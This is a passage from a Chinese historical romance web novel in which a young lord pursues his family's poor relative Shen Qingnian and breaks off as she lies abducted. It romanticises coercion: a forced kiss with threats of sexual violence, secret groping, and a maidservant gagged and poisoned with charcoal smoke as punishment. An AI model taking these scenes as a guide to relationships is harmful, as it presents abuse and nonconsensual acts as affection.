平安在心里祈祷着,只盼公子与沈姑娘能有情人终成眷属。 沈清念沐浴完,菱儿进来伺候她更衣。 沈清念抬头看向窗户外,绵绵的雨还没有停下。不知道萧公子现在到何处了。 她们这屋子里一到下雨就有些潮湿,沈清念忍不住咳嗽了两声。 菱儿又拿来一件外衣披在沈清念身上:“小姐,千万不要着凉了。” “你今天见到萧公子了吗?” 沈清念从怀里掏出一块玉佩,对菱儿道:“见着了。这便是萧公子今日给我的。” “那他是如何与你说的?” “没有来得及说些什么,萧公子现在已经离开京城了。”沈清念说着,又低垂着头,眉间是一股淡淡的忧愁。 “但我会等着他回来的。”沈清念摸着那块玉佩,眼神也变得坚定起来。 “嗯。希望萧公子能早点回来。”菱儿一边帮沈清念用帕子绞着头发,一边说道。 夜深了,外面的雨也终于停了。 窗外的黑影推了推窗户,窗户并没有像往常一样打开。 那黑影停留了一会儿,便消失了。 第三十四章 她是否也有些喜欢他 清晨,院子里又下起大雨。 谢宴之蹙着眉站在屋子里,发旧的木床旁,周大夫诊了脉以后缓缓起身,对谢宴之道:“世子,这位姑娘只是受了风寒,没有大碍。” “待老夫开了方子,吃两副药就没事了。 “嗯,有劳周大夫了。”谢宴之回应一句,旁边的元青立刻拿了银两递过去,又提起周大夫的药箱,跟着周大夫去医馆抓药。 菱儿也过去朝谢宴之屈膝福了一礼:“多谢大公子。” 原来今日菱儿端着水盆进屋子朝着沈清念的方向喊了声:“小姐,快些起来吧,今日的早饭已经送来了。” 帐子里却没人回应。 菱儿觉得有些奇怪,小姐从不赖床的。今日这是怎么了? 她走过去撩起纱帐,这才看清小姐的脸有些红,嘴唇却发着白。 “坏了!”菱儿赶紧用手摸了一下沈清念的额头,“小姐果然发烧了。” 这可怎么办?菱儿想去府外请大夫。可她一走,小姐就一个人在这浅月居,现在还病着。 她放心不下。 正在忧愁之际,就见一抹黑色的身影进到了屋子。 待面前的伞收起来,菱儿才看清是大公子谢宴之。 “大公子。”菱儿屈膝问候了一句。 “沈清念还没有起床?”谢宴之环视了屋子,最后目光落在木床上,看到纱帐里的被子鼓着一个小包。 昨夜,他没见着她。今日他一早用了饭便过来看她了,她居然还在赖床,见他来了,也不起来行礼,真是越来越没规矩了。 看着谢宴之沉下脸来,菱儿赶紧解释道: “世子,我家小姐发了高热。” “是吗?”谢宴之快步走上去,掀开了纱帐。 他扯了扯被子,里面的人露出红透了的脸,双眼紧闭,皱着眉,看起来十分难受的模样。 “沈清念。”谢宴之在坐在床边喊她的名字,手放在她的额头上,心里一紧。 果然很烫。 听到有人在叫自己的名字,沈清念试着睁开眼,可眼皮实在太沉,她根本睁不开。 随后她又感觉到额头上有什么东西凉凉的,放在那里令她觉着很舒服。 还没缓解下身体的热,那凉凉的东西已经消失了。 沈清念从锦被里伸出手,胡乱地一把抓住了谢宴之的手,慢慢拉过来放在了她的脸颊上。 谢宴之只觉着心里漏了一拍,手也有些发抖,眼前的人儿对他似乎有满满的依恋。 她不是喜欢萧怀意吗?这是在干什么?他好想马上就将人拥在怀里,问她是不是也有些喜欢他。 谢宴之的嘴角不自觉上扬,另一只手也抚上了沈清念的脸。 元青也吓了一跳,赶紧拉着菱儿转过身去,不敢再看。 他心里早已是万马奔腾之感。清姑娘这是……! 菱儿也是被自己小姐的动作吓住了,她赶紧用手捂住了嘴,看了看元青,用眼神询问元青现在怎么办? 她不明白小姐在做什么! 那可是小姐最讨厌的世子的手啊! 她是想拦着的,可怎么拦呀,这次是小姐先主动的啊! 还有小姐一脸幸福的模样…… 菱儿又拍了拍自己的脸颊,她感觉好烦躁呀。 这时,传来谢宴之的清冷的声音:“元青,拿我的腰牌去请周大夫来。” 周大夫?那可是前任太医院的院正啊。 现在元青已经很明白沈清念在谢宴之心里的分量,他不敢再耽误,拿着腰牌,举着伞就进了雨里…… 没过一会儿,菱儿熬好了药进来,见谢宴之还坐在小姐的床边,目光缱绻,情意绵绵。 菱儿端着药碗,有些无措和忐忑。她还想给小姐喂药了,可看着这大公子的样子,似乎是不打算让开。 况且,小姐的脸也还紧紧贴着大公子手掌心,一脸幸福的模样。 “放这儿吧。”谢宴之指了指床头的小柜子。 “我来喂她。” “哦……哦。”菱儿有些哆嗦地将药碗放在了柜子上。 大公子为何要给小姐喂药? 难不成大公子他是喜欢小姐? 菱儿似乎发现了不得了的秘密,嘴巴张得大大的。 元青朝她眨了眨眼,拉着她出去了。 谢宴之将手从沈清念的脸颊下面抽出来:“乖一些,先喝药,等会儿再给你枕。” 沈清念不满的瘪了瘪嘴,凉凉的感觉一下消失,她又觉得热起来了。 谢宴之往床头坐近了些,将沈清念轻轻抱在怀里,舀了一勺药,放到唇边吹了吹,喂到了沈清念嘴里。 “咳……”沈清念一下就咳了起来,将药都咳吐了出来。 “好苦。” “不要喝了,不要喝了。” 沈清念皱着眉,用手挡在唇边,一脸的抗拒。 谢宴之又拍了拍她的背,看她的模样像喝醉了酒的醉汉一样。 “乖,喝了药才能好起来。”他轻轻哄着她。 沈清念还是用手推着药碗,险些将药碗打翻。 谢宴之虽尽力护着,一些药汁还是洒到了他的衣服上。 “沈清念,再不乖,别怪我用强了!” 沈清念不为所动,摇摇头,依然是拒绝喝下这苦苦的东西。 谢宴之喝了一大口药,凑上前去扣住沈清念的后脑勺,用嘴将药都度了过去。 沈清念的被迫大口大口地吞咽下去,为了发泄不满,她挥动着拳头,一下一下捶打在谢宴之的怀里。 谢宴之嘴角上扬,他还是第一次看到她这般孩子气的模样。 谢宴之抓住了她乱动的手,连着人一起塞进了锦被,宠溺地摸了摸她的头,放下帐子,走出了屋子。 看到谢宴之出了屋子,菱儿往屋里看了一眼。 小姐静静地躺着,睡得很好。 元青说的竟然是真的。大公子不会伤害小姐,相反的,还喜欢小姐。 谢宴之站了一下,忽然转过头来,看着菱儿:“好好照顾你家小姐,有事就来观澜居找我。” “是,大公子。”菱儿点了点头。 “浅月居的,炭到了!”外面传来一个婆子的声音。 谢宴之的眉头皱了皱。 “浅月居的?” “这些婆子平日里就是这样叫你们的?”他问了一句,手已经不自觉握紧。 “嗯。”菱儿边说话边打开院门。 门口的婆子已经没了身影,只剩下半筐打湿的黑炭。 元青瞧着,爷的脸跟那黑炭似乎没什么两样了。 “元青!” 第三十五章 成为他的妾室才能名正言顺 听到谢宴之冷冽的声音,元青赶紧上前。 “爷,有何吩咐?” “去把送碳的人找来。” “是,爷!”元青麻溜地跑出去,没一会儿就提着一个老婆子过来,让她跪在谢宴之面前。 菱儿看着地上的婆子,眼里有一些怒气。 元青看见菱儿的眼色后问道:“你认识她吗?” 菱儿有些生气道:“当然认识,这是张婆子,平日里给我们送东西来的。” 平日里可没少给她们脸色看。 老婆子稍稍抬眼看了看谢宴之。 他俊美的脸上是如冰一般的寒冷,目光如炬,面色微愠, 老婆子只觉着一股无形的压迫感袭面而来。 今日真是没看黄历,怎么撞到了世子? “这黑炭是你送的?”谢宴之眯着眼问道。 “回世子话,是老婆子我送的。” “府上的下人才用黑炭,你们为何给浅月居送的也是黑炭!” 谢宴之的脸上明显带着不悦,手掌已然攥成拳。 但张婆子还是赶紧求饶:“世子,老婆子我也是按上面的吩咐给沈姑娘送来的呀。” 张婆子面前恭敬,实则心里根本瞧不起沈清念。 这沈清念一个打秋风的穷亲戚,有什么好在意的。 “上面的吩咐,谁的吩咐?”谢宴之很想知道这个沈清念需要谁注意 张婆子张了张嘴,想说又不敢说。 “是不想说还是你自作主张?”谢宴之将茶杯重重放在桌上。 “世子息怒!老婆子在侯府待了三十年了,规矩是懂的。可不敢擅自做主。” 谢宴之显然已经有些动怒。张婆子不敢隐瞒。 “是……是二夫人吩咐的。” “二夫人吩咐浅月居一切待遇都按三等丫鬟的分例来。” “您不信可以去问管事的。” 张婆子说着掏出巾子就要抹泪,似受了极大的委屈。 反正说了二夫人不会放过她,不说世子现在就能处置了她。 她也不知沈清念这蹄子走了什么运,竟得了世子的青眼。 一个穷打秋风的,就用那张好看的脸勾引的人吧。 呸! 谢宴之瞥见了张婆子脸上的神情。 淡淡道:“你知道这浅月居住的是谁吗?” “老婆子知道的,是沈姑娘!苏姨娘的侄女儿。” “知道就好,元青,送张婆子回下人房!顺便把这炭也带上。” 张婆子听了,松了一口气。她先前还以为会被世子狠狠处置呢。 不仅没罚,还有赏。 世子到底还是顾及他们这些老人的。 本来就不是她的错,还好世子英明,连炭都不给浅月居的蹄子了。 张婆子的脸上有些得意,对着菱儿翻了个白眼。 一副你能奈我何的模样。 菱儿气得咬住了唇。 元青将张婆子塞进下人房,面无表情道:“世子吩咐了,这炭今日必须烧完,一块不许剩。” “这湿炭烟那么呛人,岂不是会没命?” 世子还是因为那个表姑娘要处置了她。 张婆子想明白了,就要逃出门去。 却被元青一把抓了回来,绑在椅子上。 张婆子使劲挣扎起来。 “是我有眼不识泰山!不敬沈姑娘!” “啊…世子…老奴错了…! 元青找来一团破布,塞进张婆子的嘴里。 她呜呜说不出话来。 他点燃了黑炭以后,关上了房门出去了。 只留下张婆子睁大了双眼…… 后面一个丫鬟发现张婆子的屋子冒着呛人的黑烟,打开房门一看。张婆子满脸黢黑,嘴角有些白沫,俨然是中毒了。 元青带婆子走后,谢宴之问菱儿:“你们在浅月居一直过的这样的日子?” 菱儿跪在地上道:“是的。我和姑娘只有夜里熬不住了,才点一些炭火。” “那为何不去找苏姨娘?”谢宴之不解,她的姨母总会护着她一些。 “小姐不让,怕给姨娘惹麻烦。” 菱儿的声音越说越低。 她看到谢宴之脸色越来越沉。 谢宴之抬眼看了看纱帐里的人。她在府里过得竟然是这样的日子吗? 日子都过成这样了,还拒绝他的高枝儿。 脑海里又是她倔强的模样。谢宴之一时不明白她到底要什么。 既然苏姨娘护不住她,那以后就由他来护吧。 当然得她成为了他的妾室以后,才能名正言顺。 下午沈清念慢慢转醒。 菱儿见到,立刻放下绣绷,满心欢喜:“小姐,你终于醒了。” 沈清念头还有些发晕。嘴里也有些发苦。 “我是病了吗?”沈清念摸了摸额头。 “嗯嗯,大公子请了大夫来瞧了,说是感染了风寒。 “世子?他如何会帮我请大夫?” 因为大公子喜欢小姐你呀。可菱儿不敢说。她怕小姐接受不了这个恶耗。 最后就剩支支吾吾地一句:“不知道。今儿一早就来了,但什么都没说。” 沈清念也奇怪谢宴之为何会来找她,还请了大夫。不论怎样,她都欠了这个世子的人情。 后面再还吧。 现在她也有些饿了。 “菱儿,我想吃那个紫薯糕了。” 沈清念指了指桌上的包袱。 这一病,身子难受,她忽然好想母亲在身边。 这江南的吃食,能缓解一下思乡之苦。 菱儿边拿紫薯糕边想: 小姐选了萧公子。 那大公子怎么办? 而且如今看起来,大公子比萧公子更能护着小姐啊! 菱儿想了想说道:“今天大公子还让人送了好些银霜炭来。” “大公子说以后我们浅月居按府里姑娘的分例来。” “从前我觉着大公子很凶,现在觉得大公子还挺不错的。” 听着菱儿为谢宴之说话,沈清念笑了笑:“你今日怎么总提世子?他给了你什么好处啦?” 菱儿摇了摇,不再说话。 还是让大公子自己来说吧。 沈清念拿着紫薯糕出神,不知萧怀意到底何时能回来,也不知母亲怎么样了。 眼下又欠了谢宴之的人情,还不知如何还。 铺子的事也还没有着落。沈清念想等病好以后,出去看看有没有铺子愿意代卖。 身上的银子已经花得差不多了。也得想办法挣些银子。沈清念望了望妆奁,里面有几支簪子。 而老夫人上回赏的那支最值钱,就让菱儿明日拿出去当了吧。 第三十六章 是她先招惹他的 阳春三月,倒春寒彻底过去。 沈清念的病也好得差不多了。 她现在正步履匆匆地随元青到观澜居去。 “元青,去观澜居到底有何事?” “沈姑娘,你到了就知道了。” 元青神神秘秘的,就是不肯告诉她为何让她来观澜居。 “清姑娘,你一定会高兴的。” 元青看了眼沈清念,一副替沈清念高兴的模样。 元青将沈清念引到观澜居的一处凉亭处,亭子三面有郁郁葱葱的树木挡住,很是隐秘。 元青伸出右手,向前一比:“清姑娘,稍等一会儿,惊喜马上就来了。”说完,便退了出去。 沈清念走进去,见凉亭中央摆着一盘紫薯糕,看那糕点的模样,应当是醉风楼的。 醉风楼的紫薯糕! 沈清念心里一下紧张了起来,嘴角却不自然地扬起笑。 是萧怀意!他回来了! 所以才来靖南侯府找到谢宴之这里,让他安排他们二人见一面。 沈清念才想着,身后就被一个怀抱抱住。 沈清念在怀里动了动,想要挣脱,却被那个怀抱紧紧地箍住。 她挣脱不得,身子也不自觉地抖了起来。 萧怀意一来就这样抱住自己,是不是有些轻浮了些? 他一直是清风霁月,克己守礼的端方君子呀! 沈清念也不希望自己被这样对待。这样突然的动作让她觉着自己没有被尊重。 这时,她嗅到背后散发出的一股雪松香,这分明是……! 想到这儿,沈清念的后背出了一身汗。 背后之人还将脸也贴上来,凑在她耳边,轻声安抚着:“别怕,是我,谢宴之。” 一刹那间,沈清念的耳边犹如一道惊雷炸开! 原来自沈清念生病后,谢宴之从菱儿口中得知沈清念心中十分感激他。 他还得知她生病后只吃了紫薯糕,应当是很喜欢的紫薯糕的。 今日谢宴之就特意叫元青去醉风楼买了一些回来,放到这处凉亭里,想要与沈清念说说纳妾的事。 果然,他见沈清念刚刚看到石桌上的紫薯糕时,脸上露出了灿烂的笑容。 她应当知道他的心意了吧。 想着那日在沈清念的床前,她撒娇的样子,她贪恋他的模样,谢宴之忽然生出一股想要护着她的念头。 他便从后面抱住了沈清念,让她在他怀里感受温暖。 沈清念用力挣脱了谢宴之的怀抱,转身后退了几步。 “世子,请自重!” 这时,谢宴之才看到沈清念大惊失色的脸。 那张绝美的脸上,一丝他想象中的喜悦都没有,取而代之的是抗拒。 “你难道还不知我要做什么?”谢宴之又走上前去,想要再次将她拥在怀里。 沈清念却又往后退了几步 “也是,是本世子没和你说清楚。” “我准备纳了你,给你一个妾室的名分,这样你总是安心些了吧。” 沈清念再次被谢宴之的话震惊到。 他为何要给她一个妾室的名分? 谢宴之看着面前的人脸上还是毫无喜色,还满脸的防备。 他一时有些气恼。 他都放下世子的架子来哄她了,她怎么还不满足? “沈清念,别闹!” 谢宴之眯了眯眼:“我知你之前拒绝我,不过就是想要个名分,我过几日便纳了你。” “你不需要再这样欲擒故纵了。” 沈清念看着谢宴之高高抬起的头颅,那种居高临下的压迫感让她有些难以招架。 她对他欲擒故纵? 难道做他的妾还是莫大的恩赐? 她沈清念才不稀罕。 “世子为何要纳了我?我不曾说过要给世子做妾吧。”沈清念一脸的不悦。 她完全不知道眼前的谢宴之是什么意思。 他那么厌恶她,现在又为何突然要纳了她? 她何时说过要给他做妾了? 谢宴之皱了皱眉:“不做妾,你难道还想要做正妻?” 谢宴之没想到沈清念竟然打的这个主意。 是仗着他的喜欢吗?那他必须要让她清楚自己几斤几两。 “沈清念,你别以为本世子有些喜欢你,你就可以动那些歪脑筋,打那些歪主意。” “不该你想的不要妄想!” “你要记得你的身份!” “安安心心做我的妾室,锦衣玉食,一样都少不了你的。” 沈清念心里冷嗤一声,谢宴之说的这些话真是莫名其妙。 谢宴之居然还说有些喜欢她。 这是什么天方夜谭! 他不过是看她孤立无援,又见色起意罢了。 “世子,我的意思是不愿为妾,更不愿嫁你。” “我已经有萧怀意了萧公子了。” 听到后面这句话,谢宴之不禁冷嗤一声:“萧怀意都已经离开京城了,你还在盼着他做什么!” “我知道萧公子已经离开了,但我会等他回来。” 看沈清念说得坚决,谢宴之又往前一步,逼近她:“你当真以为萧怀意看上你了?要娶你为妻?” “我不明白世子的意思。”沈清念隐隐觉得事情有些不简单,一双湿漉漉的眼睛看着谢宴之,想从他脸上看出一些端倪。 “实话跟你说,这只不过是他与我的赌约而已。”谢宴之饶有意味地看着沈清念,不想错过她脸上任何一个表情。 “什么赌约?” “自然是赌他能不能讨得你这个高冷女子的欢心。” 沈清念难以置信地看着谢宴之:“所以世子给我寻的亲事原来是一场玩笑。” 所以她从头到尾都在被他们二人玩弄。 那萧怀意的表现出来的对她的欣赏与喜欢,不过是他为了骗她所用的招数而已。 那她这些天的担忧、欢喜又算什么? 而谢宴之一直都在身边看着她,就是为了现在看她出丑,看她丢脸,看她失去尊严吗? 他怎么可以这样玩弄她! “世子为何要这样做?”沈清念现在就想要一个答案。 “为什么?因为你屡次三番拒绝我,我就当你眼瞎,看不见本世子的好。” “本世子特意找了萧怀意来,就是要让你好好看清楚,什么叫璞玉,什么叫烂石头!” “所以世子将视他人的情感为草芥,可以随意戏弄?” “你以为这样,我就会接受你吗?” 沈清念最后这几个字一蹦出口,谢宴之的手已经捏住了她的下巴。 他睥睨着她:“沈清念,你的身子都我都看过了,你还能嫁给谁?” 她都见过他情动的样子了,他怎么可能放了她? 无论如何,是她先招惹他的! 第三十七章 谢宴之的吻来得毫无预兆 “你放开!”沈清念用手推开谢宴之。她讨厌他碰她! “那件事并非我本意,若是有什么让世子误会的地方,我向世子道歉。” “世子也用萧怀意的事作弄了我,我们两不相欠了!” 沈清念浑身颤抖着说完这些话,似用尽了全身的力气。 谢宴之却只是看着她,幽深的眸子盯着猎物一般,耐心地等着猎物精疲力竭。 半晌,沈清念才听得一句: “你说了不算。”谢宴之三两步上前,将沈清念逼在了柱子那里。 “世子何必苦苦相逼!这世间爱慕你的贵女那么多!” “你……”沈清念话还没说完,就被谢宴之拉进怀里,扣住后脑,堵住了嘴唇。 谢宴之的吻来得毫无预兆,带着不容置喙的强势,仿佛要将她所有的呼吸都掠夺殆尽。 他的指节紧扣着她的后颈,力道重得像是要在她皮肤上烙下印记。 唇齿间的侵略带着灼人的温度,不容她退缩半分。 她只觉得仿佛整个世界在这一瞬间都被他的气息彻底笼罩。 察觉到她的反抗,谢宴之将她的双手也扣住,连着她的小腰一起紧紧贴上他的身体,令她动弹不得。 沈清念只能随着他吻沉沦,一切的念头都被碾碎在这霸道的纠缠里。 “现在知道你是谁的人了吗?”谢宴之松开了被吻得面色潮红的女人。 看着她磨破的嘴皮,谢宴之对自己的杰作感到十分满意。 “你无耻!” 沈清念不停地擦着嘴唇,要把谢宴之的气息都擦掉。 她的眼眶红红的,声音有些嘶哑,刚刚的吻令她有些呼吸不上来。 身体没了谢宴之的支撑,她便摇摇欲坠地要向地上跌去。 谢宴之一把将人搂住,扣住她的下颌,逼迫她抬眸看向他,一字一顿道: “只有我不要你了,我们才算——两不相欠!” 沈清念看到谢宴之填满欲色的眸子,如坠冰窟。 谢宴之伸出手指替她理了理额间的碎发, “乖乖回去等着做我的妾室。” “或者我现在就要了你!” 过了一会儿,元青就看到清姑娘红着眼眶跑走了,而爷也是铁青着脸,一脸不悦地走出来。 沈清念回了浅月居,一进屋子就趴到床上,抱着被子啜泣起来。 菱儿不知道小姐怎么了,但是看这样子,定是受了极大的委屈。 她走到床边,弯着腰,用手拍拍小姐的背。 沈清念隐隐啜泣了一会儿,才抬起了头。 菱儿看着自家小姐的眼睛红红的,由于哭得太久,面上也已经有些浮肿,像颗桃子一样。眼泪还止不住地往下落。 “小姐!你到底是怎么了?”菱儿看着小姐委屈的模样,不禁地也跟着哭起来。 “谢宴之,他……”想到刚刚谢宴之带给她的难堪,沈清念又是一阵哽咽。 这让她怎么说出口。 那样的孟浪之言竟会出自他一个世子之口。 难过了一会儿,直到沈清念哭得已经没有眼泪可流,才没有再哭了。 “谢宴之说他喜欢我,要纳我为妾。” 对于大公子喜欢小姐这件事,菱儿并不意外,只是没想到他竟然想让小姐做妾! 小姐可是与他有婚约的人,要做也是做正妻啊! “那小姐可同意了?” “他休想!我与他说的,我不愿!若他非要纳我,除非我死了。” 观澜居内。 谢宴之揉着眉头,一脸烦躁地坐在书案前。 他想到沈清念说的,若要强纳了她,就只有纳了她的尸首。 他也没想到,沈清念还是给了他这样的一个结果。 她不要做妾室,也不要做正妻。 她根本就是不喜欢他!一丁点儿喜欢也没有! 那他刚刚那番表白算什么!自作多情么? 他一个靖南侯府的世子,三番两次被她落了脸面。 这样的女人不要也罢。这世上多的是女子上赶着巴结他,取悦他。 “元青,备马!”谢宴之冷声道。 元青察觉谢宴之声音里的不悦,显然是被清姑娘气到了。 也不知他们二人发生了什么,总归是爷又没有如愿。 他立刻出了观澜居,备马去了。 醉风楼里,谢宴之与沐子辰坐在包间内饮酒。 二人都是当朝李阁老的弟子,谢宴之主动叫他来这醉风楼饮酒还是头一遭。 沐子辰看谢宴之一杯接一杯的饮酒,黑着脸,任谁都能看出他是一脸的不悦。他打趣道:“是谁这么大胆子,敢惹我们世子不高兴。” 谢宴之拿着手中的酒杯,又是一口灌下:“她就是胆子大得很,回回都能惹本世子不高兴。” “她?”沐子辰好像发现了什么不得了的事。 这清心寡欲,宛如谪仙的世子也因为女人跌入凡尘了? 他扇了扇手中的扇子,对那位女子好奇起来。 “她是谁呀?让我去帮你说和说和。” 谢宴之又饮了一杯:“不必,她不喜欢我。” 沐子辰猛咳了一声,脸被呛得通红,“这京城里还有女子不喜欢你谢宴之?” 谢宴之可是这京城贵女的梦中的夫婿啊!还有人敢拒绝他。沐子辰觉着不可思议。 他过去把手搭在谢宴之的肩上,笑嘻嘻道:“宴之兄,有时候这女子她就是口是心非。明明很喜欢,要说不喜欢,她们管这叫矜持。” “她不一样。” “天下的女子都是一样的。” 说着,沐子辰出去吩咐了一声。一会儿便进来两个美人。 沐子辰搂着其中一个美人问道:“喜不喜欢爷?” 美人含羞地低下头,没有说话。 沐子辰道:“你看,明明喜欢得紧,又不说出来。” 谢宴之看到旁边一个美人一直在看他,他便向她招了招手。美人就立刻坐到了他身边。 唇红齿白,肤色白皙,低垂着眉眼,满含春情。 谢宴之用手抬起她的下巴:“怎么,喜欢我?” 眼前的美人含羞地点点头。娇羞又温柔。 可谢宴之不知为何突然有些烦躁。眼前的美人比起沈清念也很美,也比沈清念温柔,会主动迎合他,讨好他。 可他就是提不起兴致来。甚至还有些反感这美人身上的浓烈的脂粉味。 沈清念身上的味道就是淡淡的,有着令人缱绻的温柔之感。 眼前的美人见谢宴之一直看着她,便闭上了眼睛,期待着谢宴之的下一步动作。结果谢宴之粗鲁地甩开了她的下巴,起身离开了醉风楼。 第三十八章 她还是不记得他的吻 谢宴之心里越想越气。 别的女人都巴不得获得他的青睐,可他对她们又没有兴趣。 倒是沈清念这里,他花了心思,也试着讨好她。她却还是不喜欢他。 刚才的美人腰肢又细又柔软,还比她善解人意。可他脑海里翩翩想着的还是沈清念。 她的身子都给他看过了,害他每每见她都有些躁动。这种躁动,对别的女人就没有。 从前也有些想要巴结他的官员偷偷送来美人,当着他的面脱掉一件件衣裳,露出美丽的胴体。 可他却毫无所动,还将人拖下去打个半死,扔去军妓营。 他不禁想是不是沈清念偷偷给他下了蛊? 夜风凉凉的,沈清念紧了紧披风,走出了苏姨娘的院子。 菱儿提着盏灯跟在她身侧照亮。 谢宴之看着远处走来的主仆二人,还是闪身躲进了旁边的假山处。 他现在不太想面对沈清念。他不想再看到她满是防备的眼神。 那样的眼神像锥子在扎他的心。 谢宴之就这样看着沈清念单薄的身影就要从面前飘过。 他情不自禁地伸出手,伸进她的披风里。 沈清念感觉有什么东西碰到了她的腰,低头看了一下眼,腰上又什么东西都没有。 这时,菱儿手里的灯笼忽然被风吹灭。沈清念的披风被扯了一下,唇碰上一个软软的东西,只一瞬间那种触感又消失了。 “菱儿!”沈清念吓得叫了一声。 菱儿掏出火折子重新点亮了灯笼:“小姐!我在。” “我的披风刚才被人扯了一下。”沈清念觉着惊魂未定。 菱儿提着灯顺着披风看过去,什么也没有,只是披风被树枝挂住了,破了一个小洞。 “小姐,是被树尖儿挂住了,破了个洞。” 说着,菱儿便将披风从树尖儿上解了下来。 沈清念也借着光仔细看了一下,的确什么都没有。可刚刚那温热的触感明明很真实。 沈清念还是觉得不太踏实,她想要赶快回去。 “菱儿,我们快些回去吧。”说完,便带着菱儿快步离开了这片假山。 待她们二人走后,谢宴之才从假山后面出来。 他看着沈清念落荒而逃的身影,苦笑了一下。 被他吻过那么多次,她还是不记得他的吻,他的气息。所以她刚才都没有认出是他。 浅月居里。 沈清念让菱儿将窗户和门关得死死的。自从她发现有人半夜进过她的屋子后,就再也不敢大意,每晚睡觉时都提心吊胆的。 眼下,谢宴之又对她起了那种心思。虽然谢宴之没有再提过要她做妾,一切也没什么异样。 但她心里还是不踏实的,还是得尽早离府。 她又掏出那枚玉佩。不管萧怀意是否喜欢她,这个玉佩是萧怀意的,她总是要还给他的。 既然婚事暂时没有着落,那就先想个法子多挣些钱。有些钱财傍身,才有可能离开侯府。 菱儿昨日已将那簪子拿去当了,得了一百五十多两银子。沈清念掂了掂钱袋,决定明天去市集上看看,有没有什么合适的铺子可以租一间。 第二日,沈清念一早就和菱儿坐了马车去市集上。 她们找了当地的牙人,打听了几个铺子。 牙人热情地带着沈清念看了几个铺子。 地段好的,人流量大的铺子租金有些贵。 租金便宜的铺子,又没什么客人。 菱儿和沈清念走了一上午也没有找到合适的铺子。 二人便在路边的茶摊上买了两碗茶喝,坐下来歇歇脚。 而对面楼上的胭脂铺里,一双眼睛正死死地盯着沈清念。 顾灵玉转过头,对谭氏道:“母亲,那里的就是沈清念那个贱蹄子。” “哦?”谭氏靠到窗边看了看。 楼下茶摊那里坐的女子容貌清丽,眉眼温柔。 “果然是个美人胚子。怪不得能勾走谢宴之的心。”谭氏拿起一盒胭脂,拿到鼻尖处闻了闻。 “母亲,我要那贱蹄子好看!” 她与宴之表哥青梅竹马,她的心思,宴之表哥明明知晓,却一个好脸色都没有给过她。 这个贱蹄子才来了几日,就得到了宴之表哥的心。叫她如何不气! “你宴之表哥到现在都没有在人前提起过她,想必也只是一时迷恋她的皮囊而已。” “终究是个上不得台面的,根本无需理会。” 顾灵玉又想起那日宴之表哥给沈清念戴上簪子的情形,胸中愈发烦闷:“母亲,她才来了几日,就勾上了表哥,定不是个简单的。” “她不过一个穷乡下来的丫头,收拾起来容易得很。” 谭氏在信阳侯府也斗了不少姬妾,能稳坐侯府夫人的位置,必然是有些手段的。 像沈清念这样,根本无须费神。 谭氏看着女儿气鼓鼓的模样,觉得她还是有些急躁了。 “你是信阳侯府的二小姐,要有侯府小姐的风范。不能为这种毫无身份的人丢了体面。” 顾灵玉看沈清念还有心思在那里喝茶,心里就觉得窝火,什么都没说就跑下楼去。 谭氏也只能跟着去,她这女儿性子鲁莽,她可不能让她丢了信阳侯府的脸。 “沈清念!” 沈清念还未看清来人,就觉着脸火辣辣地疼。 “我说过,你再用这张脸勾引人,我就划烂你的脸!” 沈清念这才看清面前的人是顾灵玉。 菱儿见状,赶紧护在自己小姐面前,不许顾灵玉再靠近沈清念。 街边的行人一下子围拢过来看热闹。 沈清念皱了眉,这顾灵玉今日是要坏了她的名声吗? 沈清念摸着被打的脸,一行泪滑过脸颊,我见犹怜。 “顾姑娘口口声声说我勾引人,可能说出是何人,可有何凭证?” “当然是宴……” 顾灵玉一下将到嘴的话憋了回去。 她不能说出宴之表哥的名字,会坏了表哥的声誉。宴之表哥知道了定会发火。 沈清念看顾灵玉把自己憋着的模样,就知道她不敢说出谢宴之的名字。 她又说道: “顾姑娘是信阳侯府的姑娘,我一乡下来的女子,姑娘想打我,随便找个由头就是了,反正我也是反抗不了的。” 围观的人群里有人道:“原来是信阳侯府的小姐啊,难怪这样粗鲁霸道,原来是仗势欺人呀。” “我看这侯府的小姐与市井婆娘没什么不一样啊,都一样泼辣!” “你……!”顾灵玉听着周围的议论声,脸一阵红一阵白。 第三十九章 本世子给你两个选择 “灵玉!” 谭氏刚出了胭脂铺,就看见顾灵玉给了沈清念一耳光。 这大庭广众下,这一巴掌不是扇在信阳侯府自己的脸上吗? 她的这个女儿是连她的一分本事都没学到。 谭氏上了马车,对着下人吩咐了几声。那个下人就朝茶摊那边走去。 此时,顾灵玉在人群中手足无措,只能看着沈清念拿着帕子委委屈屈擦着眼泪。 众人对着她指指点点,顾灵玉忍不住就要冲上去抓住沈清念,这时一只手拉抓了她。 顾灵玉回头一看,是谭氏身边的麽麽。 那麽麽示意她看前面。顾灵玉抬眼看去,只见她家中的小厮正站在对面板凳上,手中拿着一个小包。 “我家主子今日喜获麟儿,备了些赏钱,与诸位一同庆贺。” 说完,就见拿出包里的铜钱从往外撒,围观的人都弯下腰哄抢铜钱去了。 顾灵玉也趁乱被谭氏身边的麽麽拉走了。 这时谭氏掀开车帘子,看了沈清念一眼。 原以为这个乡下女是个小角色,没想到有些伎俩。三言两语,就将信阳侯府牵扯出来。 而沈清念也看到了谭氏的目光,透着一股鄙夷和厌恶。 见那人眉眼与顾灵玉有些相似,打扮也雍容华贵,应当是顾灵玉的母亲。 这边,顾灵玉坐在马车上,胸脯剧烈起伏,显然气得不轻。 “母亲,这个贱蹄子竟敢当众让我丢脸。” 谭氏看着顾灵玉,摸着她的手:“不怕,母亲这些铜板不会白花,等会儿就有她好看的。” 这事虽是顾灵玉莽撞惹的,但那个乡下来的表姑娘敢让她们信阳侯府在众人眼前丢了面,就要付出代价。 顾灵玉一听母亲的意思是要对付沈清念,立刻就来了精神:“母亲,您这话什么意思?” 谭氏掀开车帘,顾灵玉也凑过头去看了一眼,只见一个家丁将沈清念抱进了旁边的小巷。 顾灵玉立刻就明白了谭氏的目的。她立刻抱住了谭氏,在谭氏怀里撒娇: “母亲真好!” 菱儿刚才也开心地捡着铜板,待她抬头一看,哪里还有小姐的影子! 她急得原地跺脚,小姐哪里去了? 她蹲在地上嘤嘤地哭起来。 小姐一声不说就消失了,肯定是遇到危险了。 此时,沈清念的双手已经被绑了起来,嘴里塞着布条,丢在了杂物上面。 刚刚趁着众人捡铜板的时候,一只手悄悄捂住了沈清念的口鼻,她便晕了过去。 沈清念又看了看四周,好像是一条死胡同,四周堆着杂物,两边倒额墙上还搭着几片烂布,不注意看的话,根本没人看得见他们。 眼前是一个瘦瘦的男子,正摸着下巴,色眯眯地看着她。 沈清念看这小厮,发现他身上的虽然穿着白色的亵衣,但不远处的地上放着的衣服跟刚才撒钱的那个小厮是一样的。 